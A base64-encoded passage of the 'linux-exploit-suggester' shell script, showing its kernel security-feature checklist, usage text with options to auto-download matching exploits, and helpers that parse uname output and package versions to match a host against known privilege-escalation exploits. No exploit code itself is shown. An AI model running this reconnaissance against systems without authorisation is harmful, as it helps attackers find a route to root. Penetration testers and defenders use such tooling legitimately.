V0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NsdWJfZGVidWcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFZpcnR1YWxseS1tYXBwZWQga2VybmVsIHN0YWNrcyB3aXRoIGd1YXJkIHBhZ2VzCmF2YWlsYWJsZTogQ09ORklHX1ZNQVBfU1RBQ0s9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3ZtYXBfc3RhY2subWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFBhZ2VzIHBvaXNvbmluZyBhZnRlciBmcmVlX3BhZ2VzKCkgY2FsbAphdmFpbGFibGU6IENPTkZJR19QQUdFX1BPSVNPTklORz15CmVuYWJsZWQ6IGNtZDogZ3JlcCAncGFnZV9wb2lzb249MScgL3Byb2MvY21kbGluZQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3BhZ2VfcG9pc29uaW5nLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVc2luZyAncmVmY291bnRfdCcgaW5zdGVhZCBvZiAnYXRvbWljX3QnCmF2YWlsYWJsZTogQ09ORklHX1JFRkNPVU5UX0ZVTEw9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3JlZmNvdW50X2Z1bGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEhhcmRlbmluZyBjb21tb24gc3RyL21lbSBmdW5jdGlvbnMgYWdhaW5zdCBidWZmZXIgb3ZlcmZsb3dzCmF2YWlsYWJsZTogQ09ORklHX0ZPUlRJRllfU09VUkNFPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9mb3J0aWZ5X3NvdXJjZS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgL2Rldi9tZW0gYWNjZXNzCmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IEkvTyBhY2Nlc3MgdG8gL2Rldi9tZW0KYXZhaWxhYmxlOiBDT05GSUdfSU9fU1RSSUNUX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvaW9fc3RyaWN0X2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKc2VjdGlvbjogSGFyZHdhcmUtYmFzZWQgcHJvdGVjdGlvbiBmZWF0dXJlczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cGVydmlzb3IgTW9kZSBFeGVjdXRpb24gUHJvdGVjdGlvbiAoU01FUCkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49My4wCmVuYWJsZWQ6IGNtZDpncmVwIC1xaSBzbWVwIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbWVwLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBlcnZpc29yIE1vZGUgQWNjZXNzIFByZXZlbnRpb24gKFNNQVApIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTMuNwplbmFibGVkOiBjbWQ6Z3JlcCAtcWkgc21hcCAvcHJvYy9jcHVpbmZvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc21hcC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKc2VjdGlvbjogM3JkIHBhcnR5IGtlcm5lbCBwcm90ZWN0aW9uIG1lY2hhbmlzbXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHcnNlY3VyaXR5CmF2YWlsYWJsZTogQ09ORklHX0dSS0VSTlNFQz15CmVuYWJsZWQ6IGNtZDp0ZXN0IC1jIC9kZXYvZ3JzZWMKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFBhWAphdmFpbGFibGU6IENPTkZJR19QQVg9eQplbmFibGVkOiBjbWQ6dGVzdCAteCAvc2Jpbi9wYXhjdGwKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IExpbnV4IEtlcm5lbCBSdW50aW1lIEd1YXJkIChMS1JHKSBrZXJuZWwgbW9kdWxlCmVuYWJsZWQ6IGNtZDp0ZXN0IC1kIC9wcm9jL3N5cy9sa3JnCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvbGtyZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKc2VjdGlvbjogQXR0YWNrIFN1cmZhY2U6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVc2VyIG5hbWVzcGFjZXMgZm9yIHVucHJpdmlsZWdlZCBhY2NvdW50cwphdmFpbGFibGU6IENPTkZJR19VU0VSX05TPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvdXNlcl9ucy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVW5wcml2aWxlZ2VkIGFjY2VzcyB0byBicGYoKSBzeXN0ZW0gY2FsbAphdmFpbGFibGU6IENPTkZJR19CUEZfU1lTQ0FMTD15CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCE9MQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2JwZl9zeXNjYWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTeXNjYWxscyBmaWx0ZXJpbmcKYXZhaWxhYmxlOiBDT05GSUdfU0VDQ09NUD15CmVuYWJsZWQ6IGNtZDpncmVwIC1pdyBTZWNjb21wIC9wcm9jL3NlbGYvc3RhdHVzIHwgYXdrICd7cHJpbnQgXCQyfScKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9icGZfc3lzY2FsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9tZW0gYWNjZXNzCmF2YWlsYWJsZTogQ09ORklHX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBwb3J0IGZvciAvZGV2L2ttZW0gYWNjZXNzCmF2YWlsYWJsZTogQ09ORklHX0RFVktNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RldmttZW0ubWQKRU9GCikKCgp2ZXJzaW9uKCkgewogICAgZWNobyAibGludXgtZXhwbG9pdC1zdWdnZXN0ZXIgIiRWRVJTSU9OIiwgbXpldCwgaHR0cHM6Ly96LWxhYnMuZXUsIE1hcmNoIDIwMTkiCn0KCnVzYWdlKCkgewogICAgZWNobyAiTEVTIHZlci4gJFZFUlNJT04gKGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9saW51eC1leHBsb2l0LXN1Z2dlc3RlcikgYnkgQF9temV0XyIKICAgIGVjaG8KICAgIGVjaG8gIlVzYWdlOiBsaW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaCBbT1BUSU9OU10iCiAgICBlY2hvCiAgICBlY2hvICIgLVYgfCAtLXZlcnNpb24gICAgICAgICAgICAgICAtIHByaW50IHZlcnNpb24gb2YgdGhpcyBzY3JpcHQiCiAgICBlY2hvICIgLWggfCAtLWhlbHAgICAgICAgICAgICAgICAgICAtIHByaW50IHRoaXMgaGVscCIKICAgIGVjaG8gIiAtayB8IC0ta2VybmVsIDx2ZXJzaW9uPiAgICAgIC0gcHJvdmlkZSBrZXJuZWwgdmVyc2lvbiIKICAgIGVjaG8gIiAtdSB8IC0tdW5hbWUgPHN0cmluZz4gICAgICAgIC0gcHJvdmlkZSAndW5hbWUgLWEnIHN0cmluZyIKICAgIGVjaG8gIiAtLXNraXAtbW9yZS1jaGVja3MgICAgICAgICAgIC0gZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3MgKGtlcm5lbCBjb25maWcsIHN5c2N0bCkgdG8gZGV0ZXJtaW5lIGlmIGV4cGxvaXQgaXMgYXBwbGljYWJsZSIKICAgIGVjaG8gIiAtLXNraXAtcGtnLXZlcnNpb25zICAgICAgICAgIC0gc2tpcCBjaGVja2luZyBmb3IgZXhhY3QgdXNlcnNwYWNlIHBhY2thZ2UgdmVyc2lvbiAoaGVscHMgdG8gYXZvaWQgZmFsc2UgbmVnYXRpdmVzKSIKICAgIGVjaG8gIiAtcCB8IC0tcGtnbGlzdC1maWxlIDxmaWxlPiAgIC0gcHJvdmlkZSBmaWxlIHdpdGggJ2Rwa2cgLWwnIG9yICdycG0gLXFhJyBjb21tYW5kIG91dHB1dCIKICAgIGVjaG8gIiAtLWN2ZWxpc3QtZmlsZSA8ZmlsZT4gICAgICAgIC0gcHJvdmlkZSBmaWxlIHdpdGggTGludXgga2VybmVsIENWRXMgbGlzdCIKICAgIGVjaG8gIiAtLWNoZWNrc2VjICAgICAgICAgICAgICAgICAgIC0gbGlzdCBzZWN1cml0eSByZWxhdGVkIGZlYXR1cmVzIGZvciB5b3VyIEhXL2tlcm5lbCIKICAgIGVjaG8gIiAtcyB8IC0tZmV0Y2gtc291cmNlcyAgICAgICAgIC0gYXV0b21hdGljYWxseSBkb3dubG9hZHMgc291cmNlIGZvciBtYXRjaGVkIGV4cGxvaXQiCiAgICBlY2hvICIgLWIgfCAtLWZldGNoLWJpbmFyaWVzICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIGJpbmFyeSBmb3IgbWF0Y2hlZCBleHBsb2l0IGlmIGF2YWlsYWJsZSIKICAgIGVjaG8gIiAtZiB8IC0tZnVsbCAgICAgICAgICAgICAgICAgIC0gc2hvdyBmdWxsIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1nIHwgLS1zaG9ydCAgICAgICAgICAgICAgICAgLSBzaG93IHNob3J0ZW4gaW5mbyBhYm91dCBtYXRjaGVkIGV4cGxvaXQiCiAgICBlY2hvICIgLS1rZXJuZWxzcGFjZS1vbmx5ICAgICAgICAgICAtIHNob3cgb25seSBrZXJuZWwgdnVsbmVyYWJpbGl0aWVzIgogICAgZWNobyAiIC0tdXNlcnNwYWNlLW9ubHkgICAgICAgICAgICAgLSBzaG93IG9ubHkgdXNlcnNwYWNlIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtZCB8IC0tc2hvdy1kb3MgICAgICAgICAgICAgIC0gc2hvdyBhbHNvIERvU2VzIGluIHJlc3VsdHMiCn0KCmV4aXRXaXRoRXJyTXNnKCkgewogICAgZWNobyAiJDEiIDE+JjIKICAgIGV4aXQgMQp9CgojIGV4dHJhY3RzIGFsbCBpbmZvcm1hdGlvbiBmcm9tIG91dHB1dCBvZiAndW5hbWUgLWEnIGNvbW1hbmQKcGFyc2VVbmFtZSgpIHsKICAgIGxvY2FsIHVuYW1lPSQxCgogICAgS0VSTkVMPSQoZWNobyAiJHVuYW1lIiB8IGF3ayAne3ByaW50ICQzfScgfCBjdXQgLWQgJy0nIC1mIDEpCiAgICBLRVJORUxfQUxMPSQoZWNobyAiJHVuYW1lIiB8IGF3ayAne3ByaW50ICQzfScpCiAgICBBUkNIPSQoZWNobyAiJHVuYW1lIiB8IGF3ayAne3ByaW50ICQoTkYtMSl9JykKCiAgICBPUz0iIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ2RlYicgJiYgT1M9ImRlYmlhbiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICd1YnVudHUnICYmIE9TPSJ1YnVudHUiCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1BUkNIJyAmJiBPUz0iYXJjaCIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLWRlZXBpbicgJiYgT1M9ImRlZXBpbiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLU1BTkpBUk8nICYmIE9TPSJtYW5qYXJvIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZmMnICYmIE9TPSJmZWRvcmEiCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC5lbCcgJiYgT1M9IlJIRUwiCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC5tZ2EnICYmIE9TPSJtYWdlaWEiCgogICAgIyAndW5hbWUgLWEnIG91dHB1dCBkb2Vzbid0IGNvbnRhaW4gZGlzdHJpYnV0aW9uIG51bWJlciAoYXQgbGVhc3Qgbm90IGluIGNhc2Ugb2YgYWxsIGRpc3Ryb3MpCn0KCmdldFBrZ0xpc3QoKSB7CiAgICBsb2NhbCBkaXN0cm89JDEKICAgIGxvY2FsIHBrZ2xpc3RfZmlsZT0kMgogICAgCiAgICAjIHRha2UgcGFja2FnZSBsaXN0aW5nIGZyb20gcHJvdmlkZWQgZmlsZSAmIGRldGVjdCBpZiBpdCdzICdycG0gLXFhJyBsaXN0aW5nIG9yICdkcGtnIC1sJyBvciAncGFjbWFuIC1RJyBsaXN0aW5nIG9mIG5vdCByZWNvZ25pemVkIGxpc3RpbmcKICAgIGlmIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiAtYSAtZSAiJHBrZ2xpc3RfZmlsZSIgXTsgdGhlbgoKICAgICAgICAjIHVidW50dS9kZWJpYW4gcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBpZiBbICQoaGVhZCAtMSAiJHBrZ2xpc3RfZmlsZSIgfCBncmVwICdEZXNpcmVkPVVua25vd24vSW5zdGFsbC9SZW1vdmUvUHVyZ2UvSG9sZCcpIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiIHwgYXdrICd7cHJpbnQgJDIiLSIkM30nIHwgc2VkICdzLzphbWQ2NC8vZycpCgogICAgICAgICAgICBPUz0iZGViaWFuIgogICAgICAgICAgICBbICIkKGdyZXAgdWJ1bnR1ICIkcGtnbGlzdF9maWxlIikiIF0gJiYgT1M9InVidW50dSIKICAgICAgICAjIHJlZGhhdCBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcLmVsWzEtOV0rW1wuX10nICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9IlJIRUwiCiAgICAgICAgIyBmZWRvcmEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5mY1sxLTldKydpICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9ImZlZG9yYSIKICAgICAgICAjIG1hZ2VpYSBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcLm1nYVsxLTldKycgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiKQogICAgICAgICAgICBPUz0ibWFnZWlhIgogICAgICAgICMgcGFjbWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wgWzAtOV0rXC4nICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgICAgICAgICAgT1M9ImFyY2giCiAgICAgICAgIyBmaWxlIG5vdCByZWNvZ25pemVkIC0gc2tpcHBpbmcKICAgICAgICBlbHNlCiAgICAgICAgICAgIFBLR19MSVNUPSIiCiAgICAgICAgZmkKCiAgICBlbGlmIFsgIiRkaXN0cm8iID0gImRlYmlhbiIgLW8gIiRkaXN0cm8iID0gInVidW50dSIgLW8gIiRkaXN0cm8iID0gImRlZXBpbiIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoZHBrZyAtbCB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJSSEVMIiAtbyAiJGRpc3RybyIgPSAiZmVkb3JhIiAtbyAiJGRpc3RybyIgPSAibWFnZWlhIiBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JChycG0gLXFhKQogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJhcmNoIiAtbyAiJGRpc3RybyIgPSAibWFuamFybyIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocGFjbWFuIC1RIHwgYXdrICd7cHJpbnQgJDEiLSIkMn0nKQogICAgZWxpZiBbIC14IC91c3IvYmluL2VxdWVyeSBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JCgvdXNyL2Jpbi9lcXVlcnkgLS1xdWlldCBsaXN0ICcqJyAtRiAnJG5hbWU6JHZlcnNpb24nIHwgY3V0IC1kLyAtZjItIHwgYXdrICd7cHJpbnQgJDEiOiIkMn0nKQogICAgZWxzZQogICAgICAgICMgcGFja2FnZXMgbGlzdGluZyBub3QgYXZhaWxhYmxlCiAgICAgICAgUEtHX0xJU1Q9IiIKICAgIGZpCn0KCiMgZnJvbTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvNDAyMzgzMC9ob3ctY29tcGFyZS10d28tc3RyaW5ncy1pbi1kb3Qtc2VwYXJhdGVkLXZlcnNpb24tZm9ybWF0LWluLWJhc2gKdmVyQ29tcGFyaXNpb24oKSB7CgogICAgaWYgW1sgJDEgPT0gJDIgXV0KICAgIHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZmkKCiAgICBsb2NhbCBJRlM9LgogICAgbG9jYWwgaSB2ZXIxPSgkMSkgdmVyMj0oJDIpCgogICAgIyBmaWxsIGVtcHR5IGZpZWxkcyBpbiB2ZXIxIHdpdGggemVyb3MKICAgIGZvciAoKGk9JHsjdmVyMVtAXX07IGk8JHsjdmVyMltAXX07IGkrKykpCiAgICBkbwogICAgICAgIHZlcjFbaV09MAogICAgZG9uZQoKICAgIGZvciAoKGk9MDsgaTwkeyN2ZXIxW0BdfTsgaSsrKSkKICAgIGRvCiAgICAgICAgaWYgW1sgLXogJHt2ZXIyW2ldfSBdXQogICAgICAgIHRoZW4KICAgICAgICAgICAgIyBmaWxsIGVtcHR5IGZpZWxkcyBpbiB2ZXIyIHdpdGggemVyb3MKICAgICAgICAgICAgdmVyMltpXT0wCiAgICAgICAgZmkKICAgICAgICBpZiAoKDEwIyR7dmVyMVtpXX0gPiAxMCMke3ZlcjJbaV19KSkKICAgICAgICB0aGVuCiAgICAgICAgICAgIHJldHVybiAxCiAgICAgICAgZmkKICAgICAgICBpZiAoKDEwIyR7dmVyMVtpXX0gPCAxMCMke3ZlcjJbaV19KSkKICAgICAgICB0aGVuCiAgICAgICAgICAgIHJldHVybiAyCiAgICAgICAgZmkKICAgIGRvbmUKCiAgICByZXR1cm4gMAp9Cgpkb1ZlcnNpb25Db21wYXJpc2lvbigpIHsKICAgIGxvY2FsIHJlcVZlcnNpb249IiQxIgogICAgbG9jYWwgcmVxUmVsYXRpb249IiQyIgogICAgbG9jYWwgY3VycmVudFZlcnNpb249IiQzIgoKICAgIHZlckNvbXBhcmlzaW9uICRjdXJyZW50VmVyc2lvbiAkcmVxVmVyc2lvbgogICAgY2FzZSAkPyBpbgogICAgICAgIDApIGN1cnJlbnRSZWxhdGlvbj0nPSc7OwogICAgICAgIDEpIGN1cnJlbnRSZWxhdGlvbj0nPic7OwogICAgICAgIDIpIGN1cnJlbnRSZWxhdGlvbj0nPCc7OwogICAgZXNhYwoKICAgIGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj0iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj0iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPiIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI8IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj49IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI+IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIjw9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI8IiBdICYmIHJldHVybiAwCiAgICBmaQp9Cgpjb21wYXJlVmFsdWVzKCkgewogICAgY3VyVmFsPSQxCiAgICB2YWw9JDIKICAgIHNpZ249JDMKCiAgICBpZiBbICIkc2lnbiIgPT0gIj09IiBdOyB0aGVuCiAgICAgICAgWyAiJHZhbCIgPT0gIiRjdXJWYWwiIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHNpZ24iID09ICIhPSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiICE9ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBmaQoKICAgIHJldHVybiAxCn0KCmNoZWNrUmVxdWlyZW1lbnQoKSB7CiAgICAjZWNobyAiQ2hlY2tpbmcgcmVxdWlyZW1lbnQ6ICQxIgogICAgbG9jYWwgSU49IiQxIgogICAgbG9jYWwgcGtnTmFtZT0iJHsyOjR9IgoKICAgIGlmIFtbICIkSU4iID1+IF5wa2c9LiokIF1dOyB0aGVuCgogICAgICAgICMgYWx3YXlzIHRydWUgZm9yIExpbnV4IE9TCiAgICAgICAgWyAke3BrZ05hbWV9ID09ICJsaW51eC1rZXJuZWwiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyB2ZXJpZnkgaWYgcGFja2FnZSBpcyBwcmVzZW50IAogICAgICAgIHBrZz0kKGVjaG8gIiRQS0dfTElTVCIgfCBncmVwIC1FIC1pICJeJHBrZ05hbWUtWzAtOV0rIiB8IGhlYWQgLTEpCiAgICAgICAgaWYgWyAtbiAiJHBrZyIgXTsgdGhlbgogICAgICAgICAgICByZXR1cm4gMAogICAgICAgIGZpCgogICAgZWxpZiBbWyAiJElOIiA9fiBedmVyLiokIF1dOyB0aGVuCiAgICAgICAgdmVyc2lvbj0iJHtJTi8vW14wLTkuXS99IgogICAgICAgIHJlc3Q9IiR7SU4jdmVyfSIKICAgICAgICBvcGVyYXRvcj0ke3Jlc3QlJHZlcnNpb259CgogICAgICAgIGlmIFsgIiRwa2dOYW1lIiA9PSAibGludXgta2VybmVsIiAtbyAiJG9wdF9jaGVja3NlY19tb2RlIiA9PSAidHJ1ZSIgXTsgdGhlbgoKICAgICAgICAgICAgIyBmb3IgLS1jdmVsaXN0LWZpbGUgbW9kZSBza2lwIGtlcm5lbCB2ZXJzaW9uIGNvbXBhcmlzaW9uCiAgICAgICAgICAgIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJEtFUk5FTCAmJiByZXR1cm4gMAogICAgICAgIGVsc2UKICAgICAgICAgICAgIyBleHRyYWN0IHBhY2thZ2UgdmVyc2lvbiBhbmQgY2hlY2sgaWYgcmVxdWlyZW1udCBpcyB0cnVlCiAgICAgICAgICAgIHBrZz0kKGVjaG8gIiRQS0dfTElTVCIgfCBncmVwIC1FIC1pICJeJHBrZ05hbWUtWzAtOV0rIiB8IGhlYWQgLTEpCgogICAgICAgICAgICAjIHNraXAgKGlmIHJ1biB3aXRoIC0tc2tpcC1wa2ctdmVyc2lvbnMpIHZlcnNpb24gY2hlY2tpbmcgaWYgcGFja2FnZSB3aXRoIGdpdmVuIG5hbWUgaXMgaW5zdGFsbGVkCiAgICAgICAgICAgIFsgIiRvcHRfc2tpcF9wa2dfdmVyc2lvbnMiID0gInRydWUiIC1hIC1uICIkcGtnIiBdICYmIHJldHVybiAwCgogICAgICAgICAgICAjIHZlcnNpb25pbmc6CiAgICAgICAgICAgICNlY2hvICJwa2c6ICRwa2ciCiAgICAgICAgICAgIHBrZ1ZlcnNpb249JChlY2hvICIkcGtnIiB8IGdyZXAgLUUgLWkgLW8gLWUgJy1bXC4wLTlcKzpwXStbLVwrXScgfCBjdXQgLWQnOicgLWYyIHwgc2VkICdzL1tcKy1dLy9nJyB8IHNlZCAncy9wWzAtOV0vL2cnKQogICAgICAgICAgICAjZWNobyAidmVyc2lvbjogJHBrZ1ZlcnNpb24iCiAgICAgICAgICAgICNlY2hvICJvcGVyYXRvcjogJG9wZXJhdG9yIgogICAgICAgICAgICAjZWNobyAicmVxdWlyZWQgdmVyc2lvbjogJHZlcnNpb24iCiAgICAgICAgICAgICNlY2hvCiAgICAgICAgICAgIGRvVmVyc2lvbkNvbXBhcmlzaW9uICR2ZXJzaW9uICRvcGVyYXRvciAkcGtnVmVyc2lvbiAmJiByZXR1cm4gMAogICAgICAgIGZpCiAgICBlbGlmIFtbICIkSU4iID1+IF54ODZfNjQkIF1dICYmIFsgIiRBUkNIIiA9PSAieDg2XzY0IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2JCBdXSAmJiBbICIkQVJDSCIgPT0gImkzODYiIC1vICIkQVJDSCIgPT0gImk2ODYiIC1vICIkQVJDSCIgPT0gIiIgXTsgdGhlbgogICAgICAgIHJldHVybiAwCiAgICBlbGlmIFtbICIkSU4iID1+IF5DT05GSUdfLiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBzZXQpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGlmIGtlcm5lbCBjb25maWcgSVMgYXZhaWxhYmxlOgogICAgICAgIGlmIFsgLW4